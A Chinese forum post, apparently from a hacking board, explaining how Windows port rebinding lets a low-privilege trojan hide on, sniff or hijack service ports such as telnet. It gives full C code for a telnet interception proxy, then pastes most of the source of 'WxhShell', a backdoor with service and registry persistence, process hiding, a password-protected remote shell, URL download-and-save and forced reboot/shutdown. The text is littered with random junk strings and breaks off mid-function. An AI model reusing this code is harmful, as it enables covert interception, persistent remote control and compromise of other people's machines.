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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: k`FCyO  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); C%_^0#8-0  
^wNx5t  
  saddr.sin_family = AF_INET; 9c9F C  
BNns#Q8a  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); =%P'?(o|  
acr@erk  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); E]$YM5  
Jf6u E?.  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 .#0),JJZ[  
FYq]-k{\  
  这意味着什么?意味着可以进行如下的攻击: 9ZFvN*Zf'  
7fRL'I#[@  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 f0H 5 )DJf  
;sJUTp5\h  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Hbwjs?Vq?]  
q,6 y{RyS  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 5(e?,B }  
G%0G$3W"  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  2c:H0O 0o  
D lz||==  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 :aHD'K  
'D#iT}Vu  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 eLE9-K+  
v l59|W6  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 BMPLL2I  
yem*g1  
  #include NCbl|v=  
  #include FD>j\  
  #include s 33< }O0  
  #include    rK&ofc]f$  
  DWORD WINAPI ClientThread(LPVOID lpParam);   $jMU| {  
  int main() eBiP\  
  { EGMj5@>  
  WORD wVersionRequested; s!S,;H  
  DWORD ret; 5"(AqXoq  
  WSADATA wsaData; t95hI DtD  
  BOOL val; clfi)-^ {K  
  SOCKADDR_IN saddr; *4}l V8  
  SOCKADDR_IN scaddr; S~^0 _?  
  int err; &X0/7)*"v  
  SOCKET s; Ij; =  
  SOCKET sc; V"":_`1VW  
  int caddsize; V# Mw  
  HANDLE mt; LX A1rgUWT  
  DWORD tid;    yH_L<n  
  wVersionRequested = MAKEWORD( 2, 2 ); N!" ]e*q  
  err = WSAStartup( wVersionRequested, &wsaData ); :()(P9?  
  if ( err != 0 ) { !g:UkU\J  
  printf("error!WSAStartup failed!\n"); mw}obblR  
  return -1; JHpoW}7QB  
  } )US|&> o8  
  saddr.sin_family = AF_INET; 2{naSiaq  
   G"!YV#"~  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 'TclH80  
}G n2%  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60");  |F5^mpU  
  saddr.sin_port = htons(23); L8-  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) _nu %`?Va  
  { N!6{c~^  
  printf("error!socket failed!\n"); pAg;Rib  
  return -1; *0bbSw1kc  
  } "aNl2T  
  val = TRUE; Yo0%5 noz  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 7Cf%v`B4D  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) FI@2K M  
  { 6S?a57;&W  
  printf("error!setsockopt failed!\n"); ^Q8m) 0DP  
  return -1; n =v4m_e  
  } E\!:MCL  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; %8iA0t+  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 y$@d%U*rW^  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 qmUq9bV  
Sd'Meebu  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) $IUP;  
  { }%k,PYe/  
  ret=GetLastError(); :@g@jcbYq`  
  printf("error!bind failed!\n"); #$V`%2>  
  return -1; AfvTStwr  
  } i gzISYC_  
  listen(s,2); Re?sopg0r  
  while(1) 20gPx;  
  { YN 4P >d  
  caddsize = sizeof(scaddr);  01I5,Dm  
  //接受连接请求  N3^pFy`  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); #|*;~:fz  
  if(sc!=INVALID_SOCKET) 'N,3]Soi  
  { 2L.UEAt  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Q6?+#}  
  if(mt==NULL) JA7HO |  
  { 6 .DJR Y  
  printf("Thread Creat Failed!\n"); .UbmU^y|  
  break; vj0`[X   
  } j}8IT  
  } #f]R:Ix>  
  CloseHandle(mt); gUDd2T#  
  } EVmQ"PKL'  
  closesocket(s); e 1{t qNJ  
  WSACleanup(); bj` cYL%  
  return 0; ]!H*oP8a*  
  }   , 6\i  
  DWORD WINAPI ClientThread(LPVOID lpParam) >VP\@xt(R[  
  { #V-qS/ q"  
  SOCKET ss = (SOCKET)lpParam; l ,)l"6OV  
  SOCKET sc; g92M\5 x9  
  unsigned char buf[4096]; S4<@ji  
  SOCKADDR_IN saddr; | (P%<  
  long num; P,AS`=z  
  DWORD val; 9\TvX!)h  
  DWORD ret; `h5HA-ud  
  //如果是隐藏端口应用的话,可以在此处加一些判断 `g% ]z@'+?  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   !$h%$se  
  saddr.sin_family = AF_INET; rBs7,h  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); y5?T`ts,#  
  saddr.sin_port = htons(23); Cq1t[a  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) heZ)+}U~  
  { P&| =  
  printf("error!socket failed!\n"); #c4LdZu9  
  return -1; Jf`;F :  
  } M4M 4*o  
  val = 100; c}vy9m$B_  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) do*`-SDy  
  { R#tz"T@  
  ret = GetLastError(); F']Vg31c  
  return -1; 6 6x} |7  
  } (o^V[zV  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 4M(w<f\5F  
  { F~a5yW:R=)  
  ret = GetLastError(); ^w2n  
  return -1; Pb} &c  
  } t,N- |  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) .5L/<  
  { s5|LD'o!  
  printf("error!socket connect failed!\n"); 7x9YA$IE  
  closesocket(sc); &m8B%9w  
  closesocket(ss); c%pW'UE&  
  return -1; C Cq<y  
  } !=&]#-;b  
  while(1) ml=1R >#'  
  { < Q\`2{  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 oiO3]P]P  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 &\sg~  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 H?40yu2m5  
  num = recv(ss,buf,4096,0); O,qR$#l   
  if(num>0) i BJ*6orz  
  send(sc,buf,num,0); *sJx0<!M}  
  else if(num==0) F&lc8  
  break; #2yOqUO\  
  num = recv(sc,buf,4096,0); nIph[Vs-Z  
  if(num>0) ygpC1nN  
  send(ss,buf,num,0); d;lp^K M  
  else if(num==0) MBcOIy[&A  
  break; j K[VEhs  
  } a-!"m  
  closesocket(ss); y#AY+ >  
  closesocket(sc); U YUIpe  
  return 0 ; .NjdkHYR  
  } >4M_jC.  
N _pJE?  
>;xEzc!W3*  
========================================================== rF~q"9  
.U5+PQN  
下边附上一个代码,,WXhSHELL Zz?+,-$_*&  
}WI24|`zM  
========================================================== *B:{g>0  
7M;Y#=sR  
#include "stdafx.h" QH\*l~;B\  
^ fK8~g;rB  
#include <stdio.h> I]SR.Yp%  
#include <string.h>  vA`[#(C  
#include <windows.h> 5tq$SF42X  
#include <winsock2.h> }sJ% InL  
#include <winsvc.h> 0 SKt8pL`  
#include <urlmon.h> )CR8-z1`  
qWE"vI22M  
#pragma comment (lib, "Ws2_32.lib") nj7Ri=lyS  
#pragma comment (lib, "urlmon.lib") Z/-%Eb]L1  
\ vJ*3H6  
#define MAX_USER   100 // 最大客户端连接数 {##A|{$3%  
#define BUF_SOCK   200 // sock buffer |xKB><  
#define KEY_BUFF   255 // 输入 buffer T82=R@7  
SmR*b2U  
#define REBOOT     0   // 重启 [c86b  
#define SHUTDOWN   1   // 关机 )0}obPp  
LiV]!*9$KG  
#define DEF_PORT   5000 // 监听端口 >^InNJd  
<Isr  
#define REG_LEN     16   // 注册表键长度 y Fp1@*ef  
#define SVC_LEN     80   // NT服务名长度 Ds}6{']K  
 iI ^{OD  
// 从dll定义API (/*-M]>  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); +'#d*r91@  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 3^ Z tIZ  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); tQ&#FFt,)  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); IwH ,g^0\  
Jb tbW &EH  
// wxhshell配置信息 f4tia .  
struct WSCFG { :cC`wX$  
  int ws_port;         // 监听端口 {Z?!*Ow  
  char ws_passstr[REG_LEN]; // 口令 7H >dv'  
  int ws_autoins;       // 安装标记, 1=yes 0=no R2J3R5 S=[  
  char ws_regname[REG_LEN]; // 注册表键名 $(CHwG-  
  char ws_svcname[REG_LEN]; // 服务名 |g;XC^!%=o  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 sJM}p5V  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 IBF>4q m"  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 {?L}qV  
int ws_downexe;       // 下载执行标记, 1=yes 0=no g:,4Kd|  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" [6|8Gx :  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 P2s0H+<  
6kDU}]c:H]  
}; *M`[YG19!e  
q?0goL  
// default Wxhshell configuration 6 w ]]KA  
struct WSCFG wscfg={DEF_PORT, HE,wEKp  
    "xuhuanlingzhe", 6)bfd^JYn  
    1, D 3HB`{  
    "Wxhshell", >=Rb:#UM  
    "Wxhshell", jgMWjM6.  
            "WxhShell Service", EhVnt#`Si  
    "Wrsky Windows CmdShell Service", l{pF^?K  
    "Please Input Your Password: ", Z$hxo )|  
  1, U)l>#gf8  
  "http://www.wrsky.com/wxhshell.exe", #{ ?oUg>$  
  "Wxhshell.exe" _|Dt6  
    }; !EW]: u  
oNh .Zgg  
// 消息定义模块 0y ;gi3W  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; c`jTdVD  
char *msg_ws_prompt="\n\r? for help\n\r#>"; m76]INq  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; g,W#3b6>j  
char *msg_ws_ext="\n\rExit."; :- 5Mn3*  
char *msg_ws_end="\n\rQuit."; d8r+UP@#  
char *msg_ws_boot="\n\rReboot..."; b QeYFY#^  
char *msg_ws_poff="\n\rShutdown..."; 0yZw`|Zh[  
char *msg_ws_down="\n\rSave to "; 02+^rqIx5  
r-0 7!A  
char *msg_ws_err="\n\rErr!"; ){(cRB$  
char *msg_ws_ok="\n\rOK!"; Ud9\;Qse  
]E3g8?L  
char ExeFile[MAX_PATH]; AP~!YwLW  
int nUser = 0; \C6m.%%={R  
HANDLE handles[MAX_USER]; (J;?eeP  
int OsIsNt; 50Jr(OeU<  
ujSzm=_P  
SERVICE_STATUS       serviceStatus;  _HL3XT  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 'qD9k J`  
He@= bLLa  
// 函数声明 ZEMo`O  
int Install(void); ?@,:\ ,G  
int Uninstall(void); z&:[.B   
int DownloadFile(char *sURL, SOCKET wsh); u,]yd*  
int Boot(int flag); df)1} /*L  
void HideProc(void); g bh:Y}_FU  
int GetOsVer(void); $R5-JvJJH  
int Wxhshell(SOCKET wsl); ~iSW^mi  
void TalkWithClient(void *cs); axl?t|~I  
int CmdShell(SOCKET sock); +Q9HsfX/  
int StartFromService(void); 2U+&F'&Q  
int StartWxhshell(LPSTR lpCmdLine); 0jS/U|0  
JU6np4  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 0CR;t`M@  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ;|%r!!#-t  
I"!{HnSG`  
// 数据结构和表定义 \r 2qH0B  
SERVICE_TABLE_ENTRY DispatchTable[] = `fRy"44nR  
{ .`p_vS9  
{wscfg.ws_svcname, NTServiceMain}, -,tYfQ;:  
{NULL, NULL} ]aR4U`  
}; Ij8tBT?jlL  
e{O5y8,  
// 自我安装 ",+uvJT1O  
int Install(void) 93dotuF  
{ GwV FD%  
  char svExeFile[MAX_PATH]; @W,Y_8:  
  HKEY key; IY:O?M  
  strcpy(svExeFile,ExeFile);  %!S  
P&YaJUq.u  
// 如果是win9x系统,修改注册表设为自启动 .s?OKy  
if(!OsIsNt) { 4s8E:I=K  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { {?iqO?  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _7;^od=C  
  RegCloseKey(key); #+G2ZJxL|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { P:TpB6.=q  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ,+RO 5n  
  RegCloseKey(key); 1L|(:m+  
  return 0; K6U>Qums  
    } {Vm36/a  
  } i<?4iwX%i*  
} MD)"r>k  
else { D^{:UbN  
( A)wcB  
// 如果是NT以上系统,安装为系统服务 *J=ol  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); NZuFxJ-`  
if (schSCManager!=0) 7y\g~?5N  
{ H^g<`XEgw  
  SC_HANDLE schService = CreateService C] w< &o  
  ( 6~S0t1/t?  
  schSCManager, ihWz/qx&q  
  wscfg.ws_svcname,  R'/wOE2  
  wscfg.ws_svcdisp, w-$w  
  SERVICE_ALL_ACCESS, k ))*z FV  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , pYG,5+g  
  SERVICE_AUTO_START, * 2%e.d3"M  
  SERVICE_ERROR_NORMAL, bAiw]xi  
  svExeFile, Om  
  NULL, q9!9OcN2  
  NULL, B>ZPn6?y  
  NULL, A& F4;>dms  
  NULL, Y zS*p~|  
  NULL mmL~`i/  
  ); ;Y^RF?un  
  if (schService!=0) 81cmG `G7  
  { <T[N.mB  
  CloseServiceHandle(schService); *F*X_O  
  CloseServiceHandle(schSCManager); zf~zYZSr  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); t] wM_]+  
  strcat(svExeFile,wscfg.ws_svcname); m-RY{DO+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { y7OG[L/  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); &*aU2{,s,;  
  RegCloseKey(key); T6$<o\g'  
  return 0; H\mVK!](D  
    } %#9~V  
  } Yk Pt*?,P/  
  CloseServiceHandle(schSCManager); dO,05?q|  
} E+zn\v  
} fJ2{w[ne  
m!60.  
return 1; 0)5Sx /5'  
} XB-|gPk  
b]BA,D 4  
// 自我卸载 7V (7JV<>  
int Uninstall(void) Pfx71*u,  
{ _kN%6~+U  
  HKEY key; )c/y07er  
o(/ ia3  
if(!OsIsNt) { o$VH,2 QF  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >;v0zE  
  RegDeleteValue(key,wscfg.ws_regname); ;|QR-m2/  
  RegCloseKey(key); acY[?L_6J  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { v:MS0]  
  RegDeleteValue(key,wscfg.ws_regname); 2TEeP7  
  RegCloseKey(key); K)&XQ`&  
  return 0; "n }fEVJ,  
  } Q+(:n)G_6E  
} 2bnIT>(  
} X#,[2&17Fh  
else { hX%v`8  
 /kU@S  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); NB5B$q_'#  
if (schSCManager!=0) -_DiD^UcXn  
{ o%PoSZZ  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Z4ov  
  if (schService!=0) So%1RY{ )  
  { ' ,`4 U F  
  if(DeleteService(schService)!=0) { J7;n;Mx  
  CloseServiceHandle(schService); G!Oq>7  
  CloseServiceHandle(schSCManager); hX| UE  
  return 0; V)QR!4De  
  }  jnzz~:  
  CloseServiceHandle(schService); KH>sCEt  
  } 0C+y q'D~[  
  CloseServiceHandle(schSCManager); 3dDQz#  
} [e@OHQM  
} P8,jA<W  
, )pt_"-XA  
return 1; H0 n@kKr  
} _8pkejg  
s*/ G- lY  
// 从指定url下载文件 36WzFq#  
int DownloadFile(char *sURL, SOCKET wsh) '3UIriY6  
{ s k6|_  
  HRESULT hr; ,tF" 4|#  
char seps[]= "/"; ^%$W S,  
char *token; soQzIx  
char *file; n;^k   
char myURL[MAX_PATH]; 7WfirRM  
char myFILE[MAX_PATH]; :$Q]U2$mPS  
OGi4m |  
strcpy(myURL,sURL); | ,l=v`/  
  token=strtok(myURL,seps); t>GLZzO  
  while(token!=NULL) \BcJDdL  
  { ]AA*f_!  
    file=token; RyQ\5^z  
  token=strtok(NULL,seps); gc:p@<  
  } Y1_6\zpA  
lPQ Ut!xI  
GetCurrentDirectory(MAX_PATH,myFILE); $4*E\G8  
strcat(myFILE, "\\"); \3(| c#c  
strcat(myFILE, file); pkV\D  
  send(wsh,myFILE,strlen(myFILE),0); :mV7)oWH  
send(wsh,"...",3,0); _E<O+leWf  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); X1V}%@3:  
  if(hr==S_OK) MN M>  
return 0; b, **$  
else CE7pg&dJ)i  
return 1; e9hVX[uq  
`MYKXBM  
} `Y({#U  
9c5G6n0  
// 系统电源模块 ah"MzU)  
int Boot(int flag) KYmWfM3^  
{ M|E2&ht  
  HANDLE hToken; 19w,'}CGk  
  TOKEN_PRIVILEGES tkp; &B7+>Ix,  
?)o4 Kt'h  
  if(OsIsNt) { t k/K0u  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ]7R&m)16  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); yH"$t/cU"R  
    tkp.PrivilegeCount = 1; {L-aXe{  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; a(43]d&  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); i_'R"ob{S  
if(flag==REBOOT) { `ToRkk&&>{  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) k1Mxsd  
  return 0; GgpQ]rw  
} Q~Sv2  
else { sHPwW5j/o'  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 0jJ28.kOp  
  return 0; zTBi{KrZ  
} "G-0iKW;  
  } 60~>f)vu  
  else { b^l -*4  
if(flag==REBOOT) { ;$tv8%_L[  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) q~' K9  
  return 0; Yx}"> ;\  
} ?(NT!es  
else { L3=YlX`UL  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) <&Y}j&(  
  return 0; >gZk 581/  
} gC_s\WU  
} 6(q`Oj  
X?v ^>mA  
return 1; 5)>ZO)F&  
} qnk,E-  
7ru9dg1?  
// win9x进程隐藏模块 ZaUcP6[h  
void HideProc(void) D_19sN@0m  
{ N}x/&e  
kG;eOp16R  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ^2;(2s  
  if ( hKernel != NULL ) pW3)Y5/D  
  { @a.6?.<L  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 3e!Yu.q:  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ; LF)u2x=  
    FreeLibrary(hKernel); F<oc Y0=9p  
  } fCt\2);a  
dj y:  
return; %X9:R'~sP  
} MNf@HG  
 fBWJ%W  
// 获取操作系统版本 5Du>-.r  
int GetOsVer(void) hDD~,/yVxs  
{ y5AXL5  
  OSVERSIONINFO winfo; +%le/Pg@  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); X~)V)'R  
  GetVersionEx(&winfo); \A3>c|  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) x(3 I?#kE  
  return 1; (9YYv+GGd*  
  else |<$<L`xoe  
  return 0; O2'bNR  
} B )1<`nJA  
msqxPC^I  
// 客户端句柄模块 _L:i=.hxN  
int Wxhshell(SOCKET wsl) ]2xx+P#Y  
{ 5;K-,"UQ  
  SOCKET wsh; 74}eF)(me  
  struct sockaddr_in client; sx-Hw4.a"  
  DWORD myID; I"F .%re  
7S dV%"  
  while(nUser<MAX_USER) /:Z~"Q*r  
{ _8NEwwhc  
  int nSize=sizeof(client); ;1R?9JN"  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); GEe 0@q#YA  
  if(wsh==INVALID_SOCKET) return 1; m_E[bDON  
,3J`ftCV  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); R!_8jD:$  
if(handles[nUser]==0) L&DF,fWsF&  
  closesocket(wsh); G1?0Q_RN  
else I4o =6ts  
  nUser++; 35%[D Ukb  
  } N)vk0IM!  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); }o!#_N0T  
Xew1LPI  
  return 0; StdS$XW  
} XYK1-m}2  
A'~%_}  
// 关闭 socket MR?*GI's  
void CloseIt(SOCKET wsh) [B"dH-r7  
{ C`yvBt40r  
closesocket(wsh); 'd2qa`H'}B  
nUser--; =YXe1$ $  
ExitThread(0); j*eUF-J1  
} ]8xc?*i8  
c4ZuW_&:  
// 客户端请求句柄 T<TcV9vM  
void TalkWithClient(void *cs) _X,[]+ziu%  
{ 8z."X$  
7|+|\ 7l#  
  SOCKET wsh=(SOCKET)cs; ,TKs/-_?  
  char pwd[SVC_LEN]; [w&#+h-q  
  char cmd[KEY_BUFF]; O2`oe4."vd  
char chr[1]; JGk3 b=K  
int i,j; LL= Z$U $  
?u_gXz;A  
  while (nUser < MAX_USER) { #K :-Bys5v  
$S6HZG:N  
if(wscfg.ws_passstr) { }XGMa?WR  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Z{,GZT  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); cQ3W;F8|n  
  //ZeroMemory(pwd,KEY_BUFF); 0|fb< "  
      i=0; n) _dH/"  
  while(i<SVC_LEN) { ;t;Y.*&=S  
? fbgU  
  // 设置超时 @pF fpHq?>  
  fd_set FdRead; 5|<yfk8*J  
  struct timeval TimeOut; eK Z@ FEZ  
  FD_ZERO(&FdRead); E[|s>Xv~  
  FD_SET(wsh,&FdRead); %]a @A8o0  
  TimeOut.tv_sec=8;  k#axt Sc  
  TimeOut.tv_usec=0; Snc; p  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 9 3W  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); .N~PHyXZR  
.>mH]/]m  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ]>R`;"(  
  pwd=chr[0]; JmU<y  
  if(chr[0]==0xd || chr[0]==0xa) { g.B%#bfg  
  pwd=0; j4~7akG  
  break; m,W) N9 M  
  } >lD;0EN  
  i++; 7BL |x  
    } Q00R<hu@F  
uipq=Yp.  
  // 如果是非法用户,关闭 socket Usa+b A  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); jOUK]>ox:  
} csH2_+uG  
?muDTD%c  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); di6B!YQP  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Awu$g.  
S  ~@r  
while(1) { ]pW86L%  
O1GDugZ  
  ZeroMemory(cmd,KEY_BUFF); ~L- 0~  
A}t%;V2  
      // 自动支持客户端 telnet标准   NFk}3w:  
  j=0; )E'Fke  
  while(j<KEY_BUFF) { 403[oOj  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); YBb)/ZghY  
  cmd[j]=chr[0]; #O2wyG)oU  
  if(chr[0]==0xa || chr[0]==0xd) { vU=9ydAj?  
  cmd[j]=0; BdN8 ^W  
  break; :83,[;GO2  
  } FJP< bREQ  
  j++; ^4c,U9J=  
    } 0U$:>bQ  
e^j<jV`1  
  // 下载文件 63W{U/*aao  
  if(strstr(cmd,"http://")) { bGbqfO`  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 2t+D8 d|c<  
  if(DownloadFile(cmd,wsh)) Fi mN?s  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); "(s6aqO$  
  else ze`1fO|%  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +7,8w  
  } '.?^uM  
  else { b2N6L2~V  
 n;wwMMBM  
    switch(cmd[0]) { yL0f1nS  
  f|OI`  
  // 帮助 Vclr)}5  
  case '?': { KQ&Y2l1*>>  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); PK_s#uC  
    break; otO j^xU  
  } qAoAUD m  
  // 安装 'T\dkSJv;V  
  case 'i': { )2xE z  
    if(Install()) {fZb@7?GF  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); geksjVwPH  
    else '"y}#h__T  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Yc^%zxub  
    break; ?hnx/z+uT  
    } +a%xyD:.?  
  // 卸载 3gAR4  
  case 'r': { xq}-m!nX  
    if(Uninstall()) $9 K(F~/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); pz{'1\_+9  
    else )zU:  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]*qU+&  
    break; axmsrj W#  
    } 7paUpQit  
  // 显示 wxhshell 所在路径 $.pTB(tO  
  case 'p': { NmJ`?-Z  
    char svExeFile[MAX_PATH]; OTj,O77k  
    strcpy(svExeFile,"\n\r"); ._?V%/  
      strcat(svExeFile,ExeFile); ?v:ZU~i  
        send(wsh,svExeFile,strlen(svExeFile),0); IV'p~t  
    break; c!It ^*  
    } YTK^ijmU6x  
  // 重启 MaO"#{i  
  case 'b': { .2 0V 3  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); &)n_]R#)  
    if(Boot(REBOOT)) \R(R9cry  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); w/W7N   
    else { 8nCp\0  
    closesocket(wsh); )0^ >#k  
    ExitThread(0); i31<].|kA*  
    } `H>b5  
    break; t2- ^-g6  
    } ,MQVE  
  // 关机 Oe51PEqn  
  case 'd': { RT^v:paNT2  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ^"9* 'vTtc  
    if(Boot(SHUTDOWN)) Rf)ke("  
